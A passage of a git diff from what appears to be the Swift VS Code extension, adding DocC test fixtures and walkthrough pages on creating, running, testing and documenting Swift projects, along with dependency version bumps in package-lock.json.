minimum version of Swift required to build this package. + +import PackageDescription + +let package = Package( + name: "documentation-live-preview", + products: [ + // Products define the executables and libraries a package produces, making them visible to other packages. + .library( + name: "Library", + targets: ["Library"]), + ], + targets: [ + // Targets are the basic building blocks of a package, defining a module or a test suite. + // Targets can depend on other targets in this package and products from dependencies. + .target( + name: "Library"), + ] +) diff --git a/assets/test/documentation-live-preview/Sources/Library/Library.docc/GettingStarted.md b/assets/test/documentation-live-preview/Sources/Library/Library.docc/GettingStarted.md new file mode 100644 index 000000000..0de13a7cf --- /dev/null +++ b/assets/test/documentation-live-preview/Sources/Library/Library.docc/GettingStarted.md @@ -0,0 +1,3 @@ +# Getting Started + +This is the getting started page. \ No newline at end of file diff --git a/assets/test/documentation-live-preview/Sources/Library/Library.docc/Tutorial.tutorial b/assets/test/documentation-live-preview/Sources/Library/Library.docc/Tutorial.tutorial new file mode 100644 index 000000000..00f6ffb13 --- /dev/null +++ b/assets/test/documentation-live-preview/Sources/Library/Library.docc/Tutorial.tutorial @@ -0,0 +1,5 @@ +@Tutorial(time: 30) { + @Intro(title: "Library") { + Library Tutorial + } +} diff --git a/assets/test/documentation-live-preview/Sources/Library/Library.docc/TutorialOverview.tutorial b/assets/test/documentation-live-preview/Sources/Library/Library.docc/TutorialOverview.tutorial new file mode 100644 index 000000000..3cef7bbde --- /dev/null +++ b/assets/test/documentation-live-preview/Sources/Library/Library.docc/TutorialOverview.tutorial @@ -0,0 +1,5 @@ +@Tutorials(name: "SlothCreator") { + @Intro(title: "Meet Library") { + Library Tutorial Overview + } +} diff --git a/assets/test/documentation-live-preview/Sources/Library/Library.swift b/assets/test/documentation-live-preview/Sources/Library/Library.swift new file mode 100644 index 000000000..2f9e68f77 --- /dev/null +++ b/assets/test/documentation-live-preview/Sources/Library/Library.swift @@ -0,0 +1,16 @@ +// The Swift Programming Language +// https://docs.swift.org/swift-book + +/// The entry point for this arbitrary library. +/// +/// Used for testing the Documentation Live Preview. +public struct EntryPoint { + /// The name of this EntryPoint + public let name: String + + /// Creates a new EntryPoint + /// - Parameter name: the name of this entry point + public init(name: String) { + self.name = name + } +} \ No newline at end of file diff --git a/assets/test/documentation-live-preview/UnsupportedFile.txt b/assets/test/documentation-live-preview/UnsupportedFile.txt new file mode 100644 index 000000000..c18a55cae --- /dev/null +++ b/assets/test/documentation-live-preview/UnsupportedFile.txt @@ -0,0 +1 @@ +Used to test Live Preview with an unsupported file. \ No newline at end of file diff --git a/assets/test/logs/lldb-dap-session-123456789.log b/assets/test/logs/lldb-dap-session-123456789.log new file mode 100644 index 000000000..1e43042a9 --- /dev/null +++ b/assets/test/logs/lldb-dap-session-123456789.log @@ -0,0 +1 @@ +Very important logging data \ No newline at end of file diff --git a/assets/test/scripts/SwiftScript.swift b/assets/test/scripts/SwiftScript.swift new file mode 100644 index 000000000..8e235769c --- /dev/null +++ b/assets/test/scripts/SwiftScript.swift @@ -0,0 +1 @@ +print("Hello World") \ No newline at end of file diff --git a/assets/test/targets/Package.swift b/assets/test/targets/Package.swift index 1e67f25b1..bc10b440b 100644 --- a/assets/test/targets/Package.swift +++ b/assets/test/targets/Package.swift @@ -20,7 +20,7 @@ let package = Package( ), ], dependencies: [ - .package(url: "https://github.com/swiftlang/swift-markdown.git", branch: "main"), + .package(url: "https://github.com/swiftlang/swift-markdown.git", exact: "0.6.0"), .package(path: "../defaultPackage"), ], targets: [ diff --git a/assets/walkthrough/createNewProject.md b/assets/walkthrough/createNewProject.md new file mode 100644 index 000000000..c85aa7e47 --- /dev/null +++ b/assets/walkthrough/createNewProject.md @@ -0,0 +1,10 @@ +# Create a New Swift Project +![Create new project](./images/createNewProject.gif) + +When you select a project template, you'll be prompted to enter a name for your new project. This will be the name of the folder created in your workspace. You can then choose any location in your workspace, or create a new folder for the project. + +# Opening Existing Projects + +![Open existing project](./images/openProject.gif) + +When you open an existing project with a ``Package.swift`` file the extension will activate automatically. diff --git a/assets/walkthrough/customizeSettings.md b/assets/walkthrough/customizeSettings.md new file mode 100644 index 000000000..f2478b3b1 --- /dev/null +++ b/assets/walkthrough/customizeSettings.md @@ -0,0 +1,19 @@ +# Swift Extension Settings + +![Swift Extension Settings](./images/settings.gif) + +The Swift Extension contains several settings you can customize. You can filter settings Swift extension settings by searching for `@ext:swiftlang.swift-vscode`. + +## Language Settings + +Some language settings such as those for inlay hints for inferred variable types are turned on by default in VS Code. + +![Disable Inlay Hints](./images/disableInlayHints.gif) + +You can turn off inlay hints for Swift by adding `[swift]` specific settings to your `settings.json` file: + +``` + "[swift]": { + "editor.inlayHints.enabled": "off" + }, +``` diff --git a/assets/walkthrough/images/createNewProject.gif b/assets/walkthrough/images/createNewProject.gif new file mode 100644 index 000000000..fd13aaba7 Binary files /dev/null and b/assets/walkthrough/images/createNewProject.gif differ diff --git a/assets/walkthrough/images/createNewProject.svg b/assets/walkthrough/images/createNewProject.svg new file mode 100644 index 000000000..765e062b6 --- /dev/null +++ b/assets/walkthrough/images/createNewProject.svg @@ -0,0 +1,55 @@ + + + + + + + + + + + + +> Swift: + + + + + + +Swift: Create New Project... +Swift: Create New Swift File... +Swift: Select Toolchain... +Swift: Open Documentation +Swift: Preview Documentation +Swift: Open Package.swift + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/assets/walkthrough/images/debugExecutable.gif b/assets/walkthrough/images/debugExecutable.gif new file mode 100644 index 000000000..47d3ad3ad Binary files /dev/null and b/assets/walkthrough/images/debugExecutable.gif differ diff --git a/assets/walkthrough/images/disableInlayHints.gif b/assets/walkthrough/images/disableInlayHints.gif new file mode 100644 index 000000000..b5b4c4030 Binary files /dev/null and b/assets/walkthrough/images/disableInlayHints.gif differ diff --git a/assets/walkthrough/images/openProject.gif b/assets/walkthrough/images/openProject.gif new file mode 100644 index 000000000..a79ff20e8 Binary files /dev/null and b/assets/walkthrough/images/openProject.gif differ diff --git a/assets/walkthrough/images/previewDocumentation.gif b/assets/walkthrough/images/previewDocumentation.gif new file mode 100644 index 000000000..2868eee21 Binary files /dev/null and b/assets/walkthrough/images/previewDocumentation.gif differ diff --git a/assets/walkthrough/images/runExecutable.gif b/assets/walkthrough/images/runExecutable.gif new file mode 100644 index 000000000..bc59c7841 Binary files /dev/null and b/assets/walkthrough/images/runExecutable.gif differ diff --git a/assets/walkthrough/images/runSwiftExecutable.png b/assets/walkthrough/images/runSwiftExecutable.png new file mode 100644 index 000000000..0d3654d2f Binary files /dev/null and b/assets/walkthrough/images/runSwiftExecutable.png differ diff --git a/assets/walkthrough/images/runTests.gif b/assets/walkthrough/images/runTests.gif new file mode 100644 index 000000000..9a08f7da5 Binary files /dev/null and b/assets/walkthrough/images/runTests.gif differ diff --git a/assets/walkthrough/images/settings.gif b/assets/walkthrough/images/settings.gif new file mode 100644 index 000000000..f1595a36d Binary files /dev/null and b/assets/walkthrough/images/settings.gif differ diff --git a/assets/walkthrough/images/swiftCommands.svg b/assets/walkthrough/images/swiftCommands.svg new file mode 100644 index 000000000..a200674f3 --- /dev/null +++ b/assets/walkthrough/images/swiftCommands.svg @@ -0,0 +1,40 @@ + + + + + + + + + + + + +> Swift: + + +Swift: Create New Project... +Swift: Create New Swift File... +Swift: Select Toolchain... +Swift: Open Documentation +Swift: Preview Documentation +Swift: Open Package.swift + + + + + + + + + + + + + + + + + + + diff --git a/assets/walkthrough/images/swiftLogo.svg b/assets/walkthrough/images/swiftLogo.svg new file mode 100755 index 000000000..9e97bfaa8 --- /dev/null +++ b/assets/walkthrough/images/swiftLogo.svg @@ -0,0 +1,22 @@ + + + + + + + + diff --git a/assets/walkthrough/images/toolchainInfo.png b/assets/walkthrough/images/toolchainInfo.png new file mode 100644 index 000000000..335da58f2 Binary files /dev/null and b/assets/walkthrough/images/toolchainInfo.png differ diff --git a/assets/walkthrough/previewDocs.md b/assets/walkthrough/previewDocs.md new file mode 100644 index 000000000..d2d2ef14e --- /dev/null +++ b/assets/walkthrough/previewDocs.md @@ -0,0 +1,6 @@ +# Preview Documentation +![Preview documentation](./images/previewDocumentation.gif) + +You can preview [documentation written using DocC](https://www.swift.org/documentation/docc/) directly in VS Code by using the Preview Swift Documentation button at the top right of an editor, or by invoking `Swift: Preview Documentation` in the command palette in a `.docc` bundle. The preview window will update as you open different Markdown files or Swift source files that contains documentation comments. + +Note: This feature requires Swift 6.2 or later. \ No newline at end of file diff --git a/assets/walkthrough/runExecutable.md b/assets/walkthrough/runExecutable.md new file mode 100644 index 000000000..522b1aae5 --- /dev/null +++ b/assets/walkthrough/runExecutable.md @@ -0,0 +1,16 @@ +# Run Swift Executables +![Runing a swift executable](./images/runExecutable.gif) + +You can build and run a Swift binary target via the: +1. `Run` or `Debug` CodeLens that appears in the `.swift` file that contains your program's entry point +2. `Project Panel` in the bottom left hand corner of the sidebar under the `Targets` and `Tasks` groups +3. `Tasks` command: You can configure the build tasks through the `launch.json` file in the `.vscode` folder for the project and then select the target you'd like to build with the `Tasks: Run Task` command from the `Command Pallete` +4. `Run Swift executable` editor action in the top right corner of the editor +![Run Swift executable](./images/runSwiftExecutable.png) + + +# Debug Swift Executables + +![Debuging a swift executable](./images/debugExecutable.gif) + +The extension automatically generates the debug and release variants of launch configurations in `launch.json`. You can debug a target by setting a breakpoint and clicking the the `Debug Swift Executable` editor action or through the `Run and Debug` panel in the sidebar. \ No newline at end of file diff --git a/assets/walkthrough/runTests.md b/assets/walkthrough/runTests.md new file mode 100644 index 000000000..2d7cf2c15 --- /dev/null +++ b/assets/walkthrough/runTests.md @@ -0,0 +1,7 @@ +# Run Swift Testing and XCTest Tests +![Run a test](./images/runTests.gif) + +Swift Testing and XCTests tests are detected automatically. You can run tests by: +1. Clicking the ▶ button or right clicking ▶ button beside the line number, and selecting a test variant such as `Debug Test` or `Run with Coverage` +2. Clicking `Run`, `Debug` or `Run w/ Coverage` in the CodeLens +3. Using the `Test Explorer` in the sidebar diff --git a/assets/walkthrough/swiftCommands.md b/assets/walkthrough/swiftCommands.md new file mode 100644 index 000000000..8b326e828 --- /dev/null +++ b/assets/walkthrough/swiftCommands.md @@ -0,0 +1,7 @@ +# Swift Commands + +![Swift Commands](./images/swiftCommands.svg) + +Documentation for commands supported by this extension is available on [swift.org](https://docs.swift.org/vscode/documentation/userdocs/commands/). + +If you don't find the command you're looking for you can [open a new issue](https://github.com/swiftlang/vscode-swift/issues) or suggest an idea on the [swift.org forums](https://forums.swift.org/c/related-projects/vscode-swift-extension/). diff --git a/assets/walkthrough/swiftToolchains.md b/assets/walkthrough/swiftToolchains.md new file mode 100644 index 000000000..a7457621a --- /dev/null +++ b/assets/walkthrough/swiftToolchains.md @@ -0,0 +1,14 @@ +The Swift extension automatically detects your installed Swift toolchain. However, it also provides a command called `Swift: Select Toolchain...` which can be used to select between toolchains if you have multiple installed. + +You may be prompted to select where to configure this new path. Your options are to: + +- `Save it in User Settings` +- `Save it in Workspace Settings` + +Keep in mind that Workspace Settings take precedence over `User Settings`. + +The Swift extension will then prompt you to reload the extension in order to pick up the new toolchain. The extension will not use the new toolchain until the extension is restarted. + +Tip: You can view more information about the toolchain and other configurations being used for the project by hovering over the `{}` icon in the bottom right corner of the status bar. + +![Hover over {} to see toolchain info](./images/toolchainInfo.png) diff --git a/assets/walkthrough/welcome.md b/assets/walkthrough/welcome.md new file mode 100644 index 000000000..556c43ae2 --- /dev/null +++ b/assets/walkthrough/welcome.md @@ -0,0 +1,3 @@ +

+ Welcome +

\ No newline at end of file diff --git a/package-lock.json b/package-lock.json index bd7872087..f61ab96ef 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,77 +1,89 @@ { "name": "swift-vscode", - "version": "2.8.0", + "version": "2.14.0-dev", "lockfileVersion": 2, "requires": true, "packages": { "": { "name": "swift-vscode", - "version": "2.8.0", + "version": "2.14.0-dev", "hasInstallScript": true, "dependencies": { - "@vscode/codicons": "^0.0.38", + "@vscode/codicons": "^0.0.41", "archiver": "^7.0.1", "fast-glob": "^3.3.3", "lcov-parse": "^1.0.0", "plist": "^3.1.0", "vscode-languageclient": "^9.0.1", "xml2js": "^0.6.2", - "zod": "^4.0.5" + "zod": "^4.1.5" }, "devDependencies": { - "@types/archiver": "^6.0.3", + "@actions/core": "^1.11.1", + "@trivago/prettier-plugin-sort-imports": "^5.2.2", + "@types/archiver": "^7.0.0", "@types/chai": "^4.3.19", "@types/chai-as-promised": "^7.1.8", "@types/chai-subset": "^1.3.6", "@types/decompress": "^4.2.7", + "@types/diff": "^8.0.0", "@types/lcov-parse": "^1.0.2", "@types/lodash.debounce": "^4.0.9", "@types/lodash.throttle": "^4.1.9", - "@types/micromatch": "^4.0.9", + "@types/micromatch": "^4.0.10", "@types/mocha": "^10.0.10", "@types/mock-fs": "^4.13.4", - "@types/node": "^20.19.9", + "@types/node": "^20.19.24", "@types/plist": "^3.0.5", - "@types/semver": "^7.7.0", + "@types/semver": "^7.7.1", "@types/sinon": "^17.0.4", "@types/sinon-chai": "^3.2.12", + "@types/source-map-support": "^0.5.10", + "@types/svg2ttf": "^5.0.3", + "@types/svgicons2svgfont": "^10.0.5", + "@types/ttf2woff": "^2.0.4", "@types/vscode": "^1.88.0", "@types/xml2js": "^0.4.14", - "@typescript-eslint/eslint-plugin": "^8.38.0", + "@typescript-eslint/eslint-plugin": "^8.46.3", "@typescript-eslint/parser": "^8.32.1", "@vscode/debugprotocol": "^1.68.0", - "@vscode/test-cli": "^0.0.11", + "@vscode/test-cli": "^0.0.12", "@vscode/test-electron": "^2.5.2", - "@vscode/vsce": "^3.6.0", + "@vscode/vsce": "^3.6.2", "chai": "^4.5.0", "chai-as-promised": "^7.1.2", "chai-subset": "^1.6.0", "decompress": "^4.2.1", - "del-cli": "^6.0.0", - "esbuild": "^0.25.8", + "del-cli": "^7.0.0", + "diff": "^8.0.2", + "esbuild": "^0.25.12", "eslint": "^8.57.0", "eslint-config-prettier": "^10.1.8", - "fantasticon": "^3.0.0", + "eslint-plugin-mocha": "^10.5.0", + "fantasticon": "^1.2.3", "husky": "^9.1.7", - "lint-staged": "^16.1.2", + "lint-staged": "^16.2.6", "lodash.debounce": "^4.0.8", "lodash.throttle": "^4.1.1", "micromatch": "^4.0.8", - "mocha": "^11.7.1", + "mocha": "^11.7.2", "mock-fs": "^5.5.0", - "node-pty": "^1.0.0", "octokit": "^3.2.2", "prettier": "^3.6.2", "replace-in-file": "^8.3.0", - "semver": "^7.7.2", - "simple-git": "^3.28.0", + "semver": "^7.7.3", + "simple-git": "^3.30.0", "sinon": "^21.0.0", "sinon-chai": "^3.7.0", "source-map-support": "^0.5.21", "strip-ansi": "^6.0.1", "svgo": "^4.0.0", - "tsx": "^4.20.3", - "typescript": "^5.8.3" + "tsconfig-paths": "^4.2.0", + "tsx": "^4.20.6", + "typescript": "^5.9.3", + "vscode-tmgrammar-test": "^0.1.3", + "winston": "^3.18.3", + "winston-transport": "^4.9.0" }, "engines": { "vscode": "^1.88.0" @@ -86,6 +98,45 @@ "node": ">=0.10.0" } }, + "node_modules/@actions/core": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@actions/core/-/core-1.11.1.tgz", + "integrity": "sha512-hXJCSrkwfA46Vd9Z3q4cpEpHB1rL5NG04+/rbqW9d3+CSvtB1tYe8UTpAlixa1vj0m/ULglfEK2UKxMGxCxv5A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@actions/exec": "^1.1.1", + "@actions/http-client": "^2.0.1" + } + }, + "node_modules/@actions/exec": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@actions/exec/-/exec-1.1.1.tgz", + "integrity": "sha512-+sCcHHbVdk93a0XT19ECtO/gIXoxvdsgQLzb2fE2/5sIZmWQuluYyjPQtrtTHdU1YzTZ7bAPN4sITq2xi1679w==", + "dev": true, + "license": "MIT", + "dependencies": { + "@actions/io": "^1.0.1" + } + }, + "node_modules/@actions/http-client": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/@actions/http-client/-/http-client-2.2.3.tgz", + "integrity": "sha512-mx8hyJi/hjFvbPokCg4uRd4ZX78t+YyRPtnKWwIl+RzNaVuFpQHfmlGVfsKEJN8LwTCvL+DfVgAM04XaHkm6bA==", + "dev": true, + "license": "MIT", + "dependencies": { + "tunnel": "^0.0.6", + "undici": "^5.25.4" + } + }, + "node_modules/@actions/io": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@actions/io/-/io-1.1.3.tgz", + "integrity": "sha512-wi9JjgKLYS7U/z8PPbco+PvTb/nRWjeoFlJ1Qer83k/3C5PHQi28hiVdeE2kHXmIL99mQFawx8qt/JPjZilJ8Q==", + "dev": true, + "license": "MIT" + }, "node_modules/@azu/format-text": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/@azu/format-text/-/format-text-1.0.2.tgz", @@ -332,6 +383,43 @@ "node": ">=6.9.0" } }, + "node_modules/@babel/generator": { + "version": "7.28.3", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.28.3.tgz", + "integrity": "sha512-3lSpxGgvnmZznmBkCRnVREPUFJv2wrv9iAoFDvADJc0ypmdOxdUtcLeBgBJ6zE0PMeTKnxeQzyk0xTBq4Ep7zw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.28.3", + "@babel/types": "^7.28.2", + "@jridgewell/gen-mapping": "^0.3.12", + "@jridgewell/trace-mapping": "^0.3.28", + "jsesc": "^3.0.2" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-globals": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz", + "integrity": "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", + "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, "node_modules/@babel/helper-validator-identifier": { "version": "7.27.1", "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.27.1.tgz", @@ -341,16 +429,105 @@ "node": ">=6.9.0" } }, + "node_modules/@babel/parser": { + "version": "7.28.3", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.28.3.tgz", + "integrity": "sha512-7+Ey1mAgYqFAx2h0RuoxcQT5+MlG3GTV0TQrgr7/ZliKsm/MNDxVVutlWaziMq7wJNAz8MTqz55XLpWvva6StA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.28.2" + }, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/template": { + "version": "7.27.2", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.27.2.tgz", + "integrity": "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.27.1", + "@babel/parser": "^7.27.2", + "@babel/types": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/traverse": { + "version": "7.28.3", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.28.3.tgz", + "integrity": "sha512-7w4kZYHneL3A6NP2nxzHvT3HCZ7puDZZjFMqDpBPECub79sTtSO5CGXDkKrTQq8ksAwfD/XI2MRFX23njdDaIQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.27.1", + "@babel/generator": "^7.28.3", + "@babel/helper-globals": "^7.28.0", + "@babel/parser": "^7.28.3", + "@babel/template": "^7.27.2", + "@babel/types": "^7.28.2", + "debug": "^4.3.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/types": { + "version": "7.28.2", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.28.2.tgz", + "integrity": "sha512-ruv7Ae4J5dUYULmeXw1gmb7rYRz57OWCPM57pHojnLq/3Z1CK2lNSLTCVjxVk1F/TZHwOZZrOWi0ur95BbLxNQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-string-parser": "^7.27.1", + "@babel/helper-validator-identifier": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, "node_modules/@bcoe/v8-coverage": { - "version": "0.2.3", - "resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-0.2.3.tgz", - "integrity": "sha512-0hYQ8SB4Db5zvZB4axdMHGwEaQjkZzFjQiN9LVYvIFB2nSUHW9tYpxWriPrWDASIxiaXax83REcLxuSdnGPZtw==", - "dev": true + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-1.0.2.tgz", + "integrity": "sha512-6zABk/ECA/QYSCQ1NGiVwwbQerUCZ+TQbp64Q3AgmfNvurHH0j8TtXa1qbShXA6qqkpAj4V5W8pP6mLe1mcMqA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/@colors/colors": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/@colors/colors/-/colors-1.6.0.tgz", + "integrity": "sha512-Ir+AOibqzrIsL6ajt3Rz3LskB7OiMVHqltZmspbW/TJuTVuyOMirVqAkjfY6JISiLHgyNqicAC8AyHHGzNd/dA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.1.90" + } + }, + "node_modules/@dabh/diagnostics": { + "version": "2.0.8", + "resolved": "https://registry.npmjs.org/@dabh/diagnostics/-/diagnostics-2.0.8.tgz", + "integrity": "sha512-R4MSXTVnuMzGD7bzHdW2ZhhdPC/igELENcq5IjEverBvq5hn1SXCWcsi6eSsdWP0/Ur+SItRRjAktmdoX/8R/Q==", + "dev": true, + "dependencies": { + "@so-ric/colorspace": "^1.1.6", + "enabled": "2.0.x", + "kuler": "^2.0.0" + } }, "node_modules/@esbuild/aix-ppc64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.8.tgz", - "integrity": "sha512-urAvrUedIqEiFR3FYSLTWQgLu5tb+m0qZw0NBEasUeo6wuqatkMDaRT+1uABiGXEu5vqgPd7FGE1BhsAIy9QVA==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz", + "integrity": "sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA==", "cpu": [ "ppc64" ], @@ -364,9 +541,9 @@ } }, "node_modules/@esbuild/android-arm": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.8.tgz", - "integrity": "sha512-RONsAvGCz5oWyePVnLdZY/HHwA++nxYWIX1atInlaW6SEkwq6XkP3+cb825EUcRs5Vss/lGh/2YxAb5xqc07Uw==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz", + "integrity": "sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg==", "cpu": [ "arm" ], @@ -380,9 +557,9 @@ } }, "node_modules/@esbuild/android-arm64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.8.tgz", - "integrity": "sha512-OD3p7LYzWpLhZEyATcTSJ67qB5D+20vbtr6vHlHWSQYhKtzUYrETuWThmzFpZtFsBIxRvhO07+UgVA9m0i/O1w==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz", + "integrity": "sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg==", "cpu": [ "arm64" ], @@ -396,9 +573,9 @@ } }, "node_modules/@esbuild/android-x64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.8.tgz", - "integrity": "sha512-yJAVPklM5+4+9dTeKwHOaA+LQkmrKFX96BM0A/2zQrbS6ENCmxc4OVoBs5dPkCCak2roAD+jKCdnmOqKszPkjA==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz", + "integrity": "sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg==", "cpu": [ "x64" ], @@ -412,9 +589,9 @@ } }, "node_modules/@esbuild/darwin-arm64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.8.tgz", - "integrity": "sha512-Jw0mxgIaYX6R8ODrdkLLPwBqHTtYHJSmzzd+QeytSugzQ0Vg4c5rDky5VgkoowbZQahCbsv1rT1KW72MPIkevw==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz", + "integrity": "sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg==", "cpu": [ "arm64" ], @@ -428,9 +605,9 @@ } }, "node_modules/@esbuild/darwin-x64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.8.tgz", - "integrity": "sha512-Vh2gLxxHnuoQ+GjPNvDSDRpoBCUzY4Pu0kBqMBDlK4fuWbKgGtmDIeEC081xi26PPjn+1tct+Bh8FjyLlw1Zlg==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz", + "integrity": "sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA==", "cpu": [ "x64" ], @@ -444,9 +621,9 @@ } }, "node_modules/@esbuild/freebsd-arm64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.8.tgz", - "integrity": "sha512-YPJ7hDQ9DnNe5vxOm6jaie9QsTwcKedPvizTVlqWG9GBSq+BuyWEDazlGaDTC5NGU4QJd666V0yqCBL2oWKPfA==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz", + "integrity": "sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg==", "cpu": [ "arm64" ], @@ -460,9 +637,9 @@ } }, "node_modules/@esbuild/freebsd-x64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.8.tgz", - "integrity": "sha512-MmaEXxQRdXNFsRN/KcIimLnSJrk2r5H8v+WVafRWz5xdSVmWLoITZQXcgehI2ZE6gioE6HirAEToM/RvFBeuhw==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz", + "integrity": "sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ==", "cpu": [ "x64" ], @@ -476,9 +653,9 @@ } }, "node_modules/@esbuild/linux-arm": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.8.tgz", - "integrity": "sha512-FuzEP9BixzZohl1kLf76KEVOsxtIBFwCaLupVuk4eFVnOZfU+Wsn+x5Ryam7nILV2pkq2TqQM9EZPsOBuMC+kg==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz", + "integrity": "sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw==", "cpu": [ "arm" ], @@ -492,9 +669,9 @@ } }, "node_modules/@esbuild/linux-arm64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.8.tgz", - "integrity": "sha512-WIgg00ARWv/uYLU7lsuDK00d/hHSfES5BzdWAdAig1ioV5kaFNrtK8EqGcUBJhYqotlUByUKz5Qo6u8tt7iD/w==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz", + "integrity": "sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ==", "cpu": [ "arm64" ], @@ -508,9 +685,9 @@ } }, "node_modules/@esbuild/linux-ia32": { - "version": "0.25.8", - "resolved": 